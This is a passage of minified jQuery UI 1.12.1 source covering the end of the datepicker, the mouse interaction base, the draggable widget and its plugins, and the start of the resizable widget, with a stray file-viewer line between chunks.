i,s,n=this._getMinMaxDate(t,"min"),o=this._getMinMaxDate(t,"max"),a=null,r=null,h=this._get(t,"yearRange");return h&&(i=h.split(":"),s=(new Date).getFullYear(),a=parseInt(i[0],10),r=parseInt(i[1],10),i[0].match(/[+\-].*/)&&(a+=s),i[1].match(/[+\-].*/)&&(r+=s)),(!n||e.getTime()>=n.getTime())&&(!o||e.getTime()<=o.getTime())&&(!a||e.getFullYear()>=a)&&(!r||r>=e.getFullYear())},_getFormatConfig:function(t){var e=this._get(t,"shortYearCutoff");return e="string"!=typeof e?e:(new Date).getFullYear()%100+parseInt(e,10),{shortYearCutoff:e,dayNamesShort:this._get(t,"dayNamesShort"),dayNames:this._get(t,"dayNames"),monthNamesShort:this._get(t,"monthNamesShort"),monthNames:this._get(t,"monthNames")}},_formatDate:function(t,e,i,s){e||(t.currentDay=t.selectedDay,t.currentMonth=t.selectedMonth,t.currentYear=t.selectedYear);var n=e?"object"==typeof e?e:this._daylightSavingAdjust(new Date(s,i,e)):this._daylightSavingAdjust(new Date(t.currentYear,t.currentMonth,t.currentDay));return this.formatDate(this._get(t,"dateFormat"),n,this._getFormatConfig(t))}}),t.fn.datepicker=function(e){if(!this.length)return this;t.datepicker.initialized||(t(document).on("mousedown",t.datepicker._checkExternalClick),t.datepicker.initialized=!0),0===t("#"+t.datepicker._mainDivId).length&&t("body").append(t.datepicker.dpDiv);var i=Array.prototype.slice.call(arguments,1);return"string"!=typeof e||"isDisabled"!==e&&"getDate"!==e&&"widget"!==e?"option"===e&&2===arguments.length&&"string"==typeof arguments[1]?t.datepicker["_"+e+"Datepicker"].apply(t.datepicker,[this[0]].concat(i)):this.each(function(){"string"==typeof e?t.datepicker["_"+e+"Datepicker"].apply(t.datepicker,[this].concat(i)):t.datepicker._attachDatepicker(this,e)}):t.datepicker["_"+e+"Datepicker"].apply(t.datepicker,[this[0]].concat(i))},t.datepicker=new s,t.datepicker.initialized=!1,t.datepicker.uuid=(new Date).getTime(),t.datepicker.version="1.12.1",t.datepicker,t.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase());var _=!1;t(document).on("mouseup",function(){_=!1}),t.widget("ui.mouse",{version:"1.12.1",options:{cancel:"input, textarea, button, select, option",distance:1,delay:0},_mouseInit:function(){var e=this;this.element.on("mousedown."+this.widgetName,function(t){return e._mouseDown(t)}).on("click."+this.widgetName,function(i){return!0===t.data(i.target,e.widgetName+".preventClickEvent")?(t.removeData(i.target,e.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void 0}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(e){if(!_){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(e),this._mouseDownEvent=e;var i=this,s=1===e.which,n="string"==typeof this.options.cancel&&e.target.nodeName?t(e.target).closest(this.options.cancel).length:!1;return s&&!n&&this._mouseCapture(e)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(e)!==!1,!this._mouseStarted)?(e.preventDefault(),!0):(!0===t.data(e.target,this.widgetName+".preventClickEvent")&&t.removeData(e.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(t){return i._mouseMove(t)},this._mouseUpDelegate=function(t){return i._mouseUp(t)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),e.preventDefault(),_=!0,!0)):!0}},_mouseMove:function(e){if(this._mouseMoved){if(t.ui.ie&&(!document.documentMode||9>document.documentMode)&&!e.button)return this._mouseUp(e);if(!e.which)if(e.originalEvent.altKey||e.originalEvent.ctrlKey||e.originalEvent.metaKey||e.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else if(!this.ignoreMissingWhich)return this._mouseUp(e)}return(e.which||e.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(e),e.preventDefault()):(this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,e)!==!1,this._mouseStarted?this._mouseDrag(e):this._mouseUp(e)),!this._mouseStarted)},_mouseUp:function(e){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,e.target===this._mouseDownEvent.target&&t.data(e.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(e)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete this._mouseDelayTimer),this.ignoreMissingWhich=!1,_=!1,e.preventDefault()},_mouseDistanceMet:function(t){return Math.max(Math.abs(this._mouseDownEvent.pageX-t.pageX),Math.abs(this._mouseDownEvent.pageY-t.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),t.ui.plugin={add:function(e,i,s){var n,o=t.ui[e].prototype;for(n in s)o.plugins[n]=o.plugins[n]||[],o.plugins[n].push([i,s[n]])},call:function(t,e,i,s){var n,o=t.plugins[e];if(o&&(s||t.element[0].parentNode&&11!==t.element[0].parentNode.nodeType))for(n=0;o.length>n;n++)t.options[o[n][0]]&&o[n][1].apply(t.element,i)}},t.ui.safeBlur=function(e){e&&"body"!==e.nodeName.toLowerCase()&&t(e).trigger("blur")},t.widget("ui.draggable",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this._addClass("ui-draggable"),this._setHandleClassName(),this._mouseInit()},_setOption:function(t,e){this._super(t,e),"handle"===t&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){return(this.helper||this.element).is(".ui-draggable-dragging")?(this.destroyOnClear=!0,void 0):(this._removeHandleClassName(),this._mouseDestroy(),void 0)},_mouseCapture:function(e){var i=this.options;return this.helper||i.disabled||t(e.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(e),this.handle?(this._blurActiveElement(e),this._blockFrames(i.iframeFix===!0?"iframe":i.iframeFix),!0):!1)},_blockFrames:function(e){this.iframeBlocks=this.document.find(e).map(function(){var e=t(this);return t("<div>").css("position","absolute").appendTo(e.parent()).outerWidth(e.outerWidth()).outerHeight(e.outerHeight()).offset(e.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(e){var i=t.ui.safeActiveElement(this.document[0]),s=t(e.target);s.closest(i).length||t.ui.safeBlur(i)},_mouseStart:function(e){var i=this.options;return this.helper=this._createHelper(e),this._addClass(this.helper,"ui-draggable-dragging"),this._cacheHelperProportions(),t.ui.ddmanager&&(t.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter(function(){return"fixed"===t(this).css("position")}).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(e),this.originalPosition=this.position=this._generatePosition(e,!1),this.originalPageX=e.pageX,this.originalPageY=e.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",e)===!1?(this._clear(),!1):(this._cacheHelperProportions(),t.ui.ddmanager&&!i.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e),this._mouseDrag(e,!0),t.ui.ddmanager&&t.ui.ddmanager.dragStart(this,e),!0)},_refreshOffsets:function(t){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:t.pageX-this.offset.left,top:t.pageY-this.offset.top}},_mouseDrag:function(e,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(e,!0),this.positionAbs=this._convertPositionTo("absolute"),!i){var s=this._uiHash();if(this._trigger("drag",e,s)===!1)return this._mouseUp(new t.Event("mouseup",e)),!1;this.position=s.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",t.ui.ddmanager&&t.ui.ddmanager.drag(this,e),!1},_mouseStop:function(e){var i=this,s=!1;return t.ui.ddmanager&&!this.options.dropBehaviour&&(s=t.ui.ddmanager.drop(this,e)),this.dropped&&(s=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||t.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?t(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",e)!==!1&&i._clear()}):this._trigger("stop",e)!==!1&&this._clear(),!1},_mouseUp:function(e){return this._unblockFrames(),t.ui.ddmanager&&t.ui.ddmanager.dragStop(this,e),this.handleElement.is(e.target)&&this.element.trigger("focus"),t.ui.mouse.prototype._mouseUp.call(this,e)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp(new t.Event("mouseup",{target:this.element[0]})):this._clear(),this},_getHandle:function(e){return this.options.handle?!!t(e.target).closest(this.element.find(this.options.handle)).length:!0},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this._addClass(this.handleElement,"ui-draggable-handle")},_removeHandleClassName:function(){this._removeClass(this.handleElement,"ui-draggable-handle")},_createHelper:function(e){var i=this.options,s=t.isFunction(i.helper),n=s?t(i.helper.apply(this.element[0],[e])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return n.parents("body").length||n.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s&&n[0]===this.element[0]&&this._setPositionRelative(),n[0]===this.element[0]||/(fixed|absolute)/.test(n.css("position"))||n.css("position","absolute"),n},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(e){"string"==typeof e&&(e=e.split(" ")),t.isArray(e)&&(e={left:+e[0],top:+e[1]||0}),"left"in e&&(this.offset.click.left=e.left+this.margins.left),"right"in e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_isRootNode:function(t){return/(html|body)/i.test(t.tagName)||t===this.document[0]},_getParentOffset:function(){var e=this.offsetParent.offset(),i=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==i&&t.contains(this.scrollParent[0],this.offsetParent[0])&&(e.left+=this.scrollParent.scrollLeft(),e.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(e={top:0,left:0}),{top:e.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:e.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var t=this.element.position(),e=this._isRootNode(this.scrollParent[0]);return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+(e?0:this.scrollParent.scrollTop()),left:t.left-(parseInt(this.helper.css("left"),10)||0)+(e?0:this.scrollParent.scrollLeft())}
18
vendor: 32,039 bytes, line 18
18},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e,i,s,n=this.options,o=this.document[0];return this.relativeContainer=null,n.containment?"window"===n.containment?(this.containment=[t(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,t(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,t(window).scrollLeft()+t(window).width()-this.helperProportions.width-this.margins.left,t(window).scrollTop()+(t(window).height()||o.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):"document"===n.containment?(this.containment=[0,0,t(o).width()-this.helperProportions.width-this.margins.left,(t(o).height()||o.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):n.containment.constructor===Array?(this.containment=n.containment,void 0):("parent"===n.containment&&(n.containment=this.helper[0].parentNode),i=t(n.containment),s=i[0],s&&(e=/(scroll|auto)/.test(i.css("overflow")),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(e?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(e?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=i),void 0):(this.containment=null,void 0)},_convertPositionTo:function(t,e){e||(e=this.position);var i="absolute"===t?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:e.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*i,left:e.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*i}},_generatePosition:function(t,e){var i,s,n,o,a=this.options,r=this._isRootNode(this.scrollParent[0]),h=t.pageX,l=t.pageY;return r&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),e&&(this.containment&&(this.relativeContainer?(s=this.relativeContainer.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,t.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),t.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),t.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),t.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),a.grid&&(n=a.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/a.grid[1])*a.grid[1]:this.originalPageY,l=i?n-this.offset.click.top>=i[1]||n-this.offset.click.top>i[3]?n:n-this.offset.click.top>=i[1]?n-a.grid[1]:n+a.grid[1]:n,o=a.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/a.grid[0])*a.grid[0]:this.originalPageX,h=i?o-this.offset.click.left>=i[0]||o-this.offset.click.left>i[2]?o:o-this.offset.click.left>=i[0]?o-a.grid[0]:o+a.grid[0]:o),"y"===a.axis&&(h=this.originalPageX),"x"===a.axis&&(l=this.originalPageY)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)}},_clear:function(){this._removeClass(this.helper,"ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_trigger:function(e,i,s){return s=s||this._uiHash(),t.ui.plugin.call(this,e,[i,s,this],!0),/^(drag|start|stop)/.test(e)&&(this.positionAbs=this._convertPositionTo("absolute"),s.offset=this.positionAbs),t.Widget.prototype._trigger.call(this,e,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),t.ui.plugin.add("draggable","connectToSortable",{start:function(e,i,s){var n=t.extend({},i,{item:s.element});s.sortables=[],t(s.options.connectToSortable).each(function(){var i=t(this).sortable("instance");i&&!i.options.disabled&&(s.sortables.push(i),i.refreshPositions(),i._trigger("activate",e,n))})},stop:function(e,i,s){var n=t.extend({},i,{item:s.element});s.cancelHelperRemoval=!1,t.each(s.sortables,function(){var t=this;t.isOver?(t.isOver=0,s.cancelHelperRemoval=!0,t.cancelHelperRemoval=!1,t._storedCSS={position:t.placeholder.css("position"),top:t.placeholder.css("top"),left:t.placeholder.css("left")},t._mouseStop(e),t.options.helper=t.options._helper):(t.cancelHelperRemoval=!0,t._trigger("deactivate",e,n))})},drag:function(e,i,s){t.each(s.sortables,function(){var n=!1,o=this;o.positionAbs=s.positionAbs,o.helperProportions=s.helperProportions,o.offset.click=s.offset.click,o._intersectsWith(o.containerCache)&&(n=!0,t.each(s.sortables,function(){return this.positionAbs=s.positionAbs,this.helperProportions=s.helperProportions,this.offset.click=s.offset.click,this!==o&&this._intersectsWith(this.containerCache)&&t.contains(o.element[0],this.element[0])&&(n=!1),n})),n?(o.isOver||(o.isOver=1,s._parent=i.helper.parent(),o.currentItem=i.helper.appendTo(o.element).data("ui-sortable-item",!0),o.options._helper=o.options.helper,o.options.helper=function(){return i.helper[0]},e.target=o.currentItem[0],o._mouseCapture(e,!0),o._mouseStart(e,!0,!0),o.offset.click.top=s.offset.click.top,o.offset.click.left=s.offset.click.left,o.offset.parent.left-=s.offset.parent.left-o.offset.parent.left,o.offset.parent.top-=s.offset.parent.top-o.offset.parent.top,s._trigger("toSortable",e),s.dropped=o.element,t.each(s.sortables,function(){this.refreshPositions()}),s.currentItem=s.element,o.fromOutside=s),o.currentItem&&(o._mouseDrag(e),i.position=o.position)):o.isOver&&(o.isOver=0,o.cancelHelperRemoval=!0,o.options._revert=o.options.revert,o.options.revert=!1,o._trigger("out",e,o._uiHash(o)),o._mouseStop(e,!0),o.options.revert=o.options._revert,o.options.helper=o.options._helper,o.placeholder&&o.placeholder.remove(),i.helper.appendTo(s._parent),s._refreshOffsets(e),i.position=s._generatePosition(e,!0),s._trigger("fromSortable",e),s.dropped=!1,t.each(s.sortables,function(){this.refreshPositions()}))})}}),t.ui.plugin.add("draggable","cursor",{start:function(e,i,s){var n=t("body"),o=s.options;n.css("cursor")&&(o._cursor=n.css("cursor")),n.css("cursor",o.cursor)},stop:function(e,i,s){var n=s.options;n._cursor&&t("body").css("cursor",n._cursor)}}),t.ui.plugin.add("draggable","opacity",{start:function(e,i,s){var n=t(i.helper),o=s.options;n.css("opacity")&&(o._opacity=n.css("opacity")),n.css("opacity",o.opacity)},stop:function(e,i,s){var n=s.options;n._opacity&&t(i.helper).css("opacity",n._opacity)}}),t.ui.plugin.add("draggable","scroll",{start:function(t,e,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(e,i,s){var n=s.options,o=!1,a=s.scrollParentNotHidden[0],r=s.document[0];a!==r&&"HTML"!==a.tagName?(n.axis&&"x"===n.axis||(s.overflowOffset.top+a.offsetHeight-e.pageY<n.scrollSensitivity?a.scrollTop=o=a.scrollTop+n.scrollSpeed:e.pageY-s.overflowOffset.top<n.scrollSensitivity&&(a.scrollTop=o=a.scrollTop-n.scrollSpeed)),n.axis&&"y"===n.axis||(s.overflowOffset.left+a.offsetWidth-e.pageX<n.scrollSensitivity?a.scrollLeft=o=a.scrollLeft+n.scrollSpeed:e.pageX-s.overflowOffset.left<n.scrollSensitivity&&(a.scrollLeft=o=a.scrollLeft-n.scrollSpeed))):(n.axis&&"x"===n.axis||(e.pageY-t(r).scrollTop()<n.scrollSensitivity?o=t(r).scrollTop(t(r).scrollTop()-n.scrollSpeed):t(window).height()-(e.pageY-t(r).scrollTop())<n.scrollSensitivity&&(o=t(r).scrollTop(t(r).scrollTop()+n.scrollSpeed))),n.axis&&"y"===n.axis||(e.pageX-t(r).scrollLeft()<n.scrollSensitivity?o=t(r).scrollLeft(t(r).scrollLeft()-n.scrollSpeed):t(window).width()-(e.pageX-t(r).scrollLeft())<n.scrollSensitivity&&(o=t(r).scrollLeft(t(r).scrollLeft()+n.scrollSpeed)))),o!==!1&&t.ui.ddmanager&&!n.dropBehaviour&&t.ui.ddmanager.prepareOffsets(s,e)}}),t.ui.plugin.add("draggable","snap",{start:function(e,i,s){var n=s.options;s.snapElements=[],t(n.snap.constructor!==String?n.snap.items||":data(ui-draggable)":n.snap).each(function(){var e=t(this),i=e.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:e.outerWidth(),height:e.outerHeight(),top:i.top,left:i.left})})},drag:function(e,i,s){var n,o,a,r,h,l,c,u,d,p,f=s.options,g=f.snapTolerance,m=i.offset.left,_=m+s.helperProportions.width,v=i.offset.top,b=v+s.helperProportions.height;for(d=s.snapElements.length-1;d>=0;d--)h=s.snapElements[d].left-s.margins.left,l=h+s.snapElements[d].width,c=s.snapElements[d].top-s.margins.top,u=c+s.snapElements[d].height,h-g>_||m>l+g||c-g>b||v>u+g||!t.contains(s.snapElements[d].item.ownerDocument,s.snapElements[d].item)?(s.snapElements[d].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,e,t.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=!1):("inner"!==f.snapMode&&(n=g>=Math.abs(c-b),o=g>=Math.abs(u-v),a=g>=Math.abs(h-_),r=g>=Math.abs(l-m),n&&(i.position.top=s._convertPositionTo("relative",{top:c-s.helperProportions.height,left:0}).top),o&&(i.position.top=s._convertPositionTo("relative",{top:u,left:0}).top),a&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h-s.helperProportions.width}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l}).left)),p=n||o||a||r,"outer"!==f.snapMode&&(n=g>=Math.abs(c-v),o=g>=Math.abs(u-b),a=g>=Math.abs(h-m),r=g>=Math.abs(l-_),n&&(i.position.top=s._convertPositionTo("relative",{top:c,left:0}).top),o&&(i.position.top=s._convertPositionTo("relative",{top:u-s.helperProportions.height,left:0}).top),a&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l-s.helperProportions.width}).left)),!s.snapElements[d].snapping&&(n||o||a||r||p)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,e,t.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=n||o||a||r||p)}}),t.ui.plugin.add("draggable","stack",{start:function(e,i,s){var n,o=s.options,a=t.makeArray(t(o.stack)).sort(function(e,i){return(parseInt(t(e).css("zIndex"),10)||0)-(parseInt(t(i).css("zIndex"),10)||0)});a.length&&(n=parseInt(t(a[0]).css("zIndex"),10)||0,t(a).each(function(e){t(this).css("zIndex",n+e)}),this.css("zIndex",n+a.length))}}),t.ui.plugin.add("draggable","zIndex",{start:function(e,i,s){var n=t(i.helper),o=s.options;n.css("zIndex")&&(o._zIndex=n.css("zIndex")),n.css("zIndex",o.zIndex)},stop:function(e,i,s){var n=s.options;n._zIndex&&t(i.helper).css("zIndex",n._zIndex)}}),t.ui.draggable,t.widget("ui.resizable",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,classes:{"ui-resizable-se":"ui-icon ui-icon-gripsmall-diagonal-se"},containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(t){return parseFloat(t)||0},_isNumber:function(t){return!isNaN(parseFloat(t))},_hasScroll:function(e,i){if("hidden"===t(e).css("overflow"))return!1;var s=i&&"left"===i?"scrollLeft":"scrollTop",n=!1;return e[s]>0?!0:(e[s]=1,n=e[s]>0,e[s]=0,n)},_create:function(){var e,i=this.options,s=this;this._addClass("ui-resizable"),t.extend(this,{_aspectRatio:!!i.aspectRatio,aspectRatio:i.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:i.helper||i.ghost||i.animate?i.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)&&(this.element.wrap(t("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,e={marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom"),marginLeft:this.originalElement.css("marginLeft")},this.element.css(e),this.originalElement.css("margin",0),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css(e),this._proportionallyResize()),this._setupHandles(),i.autoHide&&t(this.element).on("mouseenter",function(){i.disabled||(s._removeClass("ui-resizable-autohide"),s._handles.show())}).on("mouseleave",function(){i.disabled||s.resizing||(s._addClass("ui-resizable-autohide"),s._handles.hide())}),this._mouseInit()},_destroy:function(){this._mouseDestroy();var e,i=function(e){t(e).removeData("resizable").removeData("ui-resizable").off(".resizable").find(".ui-resizable-handle").remove()};return this.elementIsWrapper&&(i(this.element),e=this.element,this.originalElement.css({position:e.css("position"),width:e.outerWidth(),height:e.outerHeight(),top:e.css("top"),left:e.css("left")}).insertAfter(e),e.remove()),this.originalElement.css("resize",this.originalResizeStyle),i(this.originalElement),this},_setOption:function(t,e){switch(this._super(t,e),t){case"handles":this._removeHandles(),this._setupHandles();break;default:}},_setupHandles:function(){var e,i,s,n,o,a=this.options,r=this;if(this.handles=a.handles||(t(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this._handles=t(),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),s=this.handles.split(","),this.handles={},i=0;s.length>i;i++)e=t.trim(s[i]),n="ui-resizable-"+e,o=t("<div>"),this._addClass(o,"ui-resizable-handle "+n),o.css({zIndex:a.zIndex}),this.handles[e]=".ui-resizable-"+e,this.element.append(o);this._renderAxis=function(e){var i,s,n,o;e=e||this.element;for(i in this.handles)this.handles[i].constructor===String?this.handles[i]=this.element.children(this.handles[i]).first().show():(this.handles[i].jquery||this.handles[i].nodeType)&&(this.handles[i]=t(this.handles[i]),this._on(this.handles[i],{mousedown:r._mouseDown})),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)&&(s=t(this.handles[i],this.element),o=/sw|ne|nw|se|n|s/.test(i)?s.outerHeight():s.outerWidth(),n=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),e.css(n,o),this._proportionallyResize()),this._handles=this._handles.add(this.handles[i])},this._renderAxis(this.element),this._handles=this._handles.add(this.element.find(".ui-resizable-handle")),this._handles.disableSelection(),this._handles.on("mouseover",function(){r.resizing||(this.className&&(o=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),r.axis=o&&o[1]?o[1]:"se")}),a.autoHide&&(this._handles.hide(),this._addClass("ui-resizable-autohide"))},_removeHandles:function(){this._handles.remove()},_mouseCapture:function(e){var i,s,n=!1;for(i in this.handles)s=t(this.handles[i])[0],(s===e.target||t.contains(s,e.target))&&(n=!0);return!this.options.disabled&&n},_mouseStart:function(e){var i,s,n,o=this.options,a=this.element;return this.resizing=!0,this._renderProxy(),i=this._num(this.helper.css("left")),s=this._num(this.helper.css("top")),o.containment&&(i+=t(o.containment).scrollLeft()||0,s+=t(o.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:i,top:s},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:a.width(),height:a.height()},this.originalSize=this._helper?{width:a.outerWidth(),height:a.outerHeight()}:{width:a.width(),height:a.height()},this.sizeDiff={width:a.outerWidth()-a.width(),height:a.outerHeight()-a.height()},this.originalPosition={left:i,top:s},this.originalMousePosition={left:e.pageX,top:e.pageY},this.aspectRatio="number"==typeof o.aspectRatio?o.aspectRatio:this.originalSize.width/this.originalSize.height||1,n=t(".ui-resizable-"+this.axis).css("cursor"),t("body").css("cursor","auto"===n?this.axis+"-resize":n),this._addClass("ui-resizable-resizing"),this._propagate("start",e),!0},_mouseDrag:function(e){var i,s,n=this.originalMousePosition,o=this.axis,a=e.pageX-n.left||0,r=e.pageY-n.top||0,h=this._change[o];return 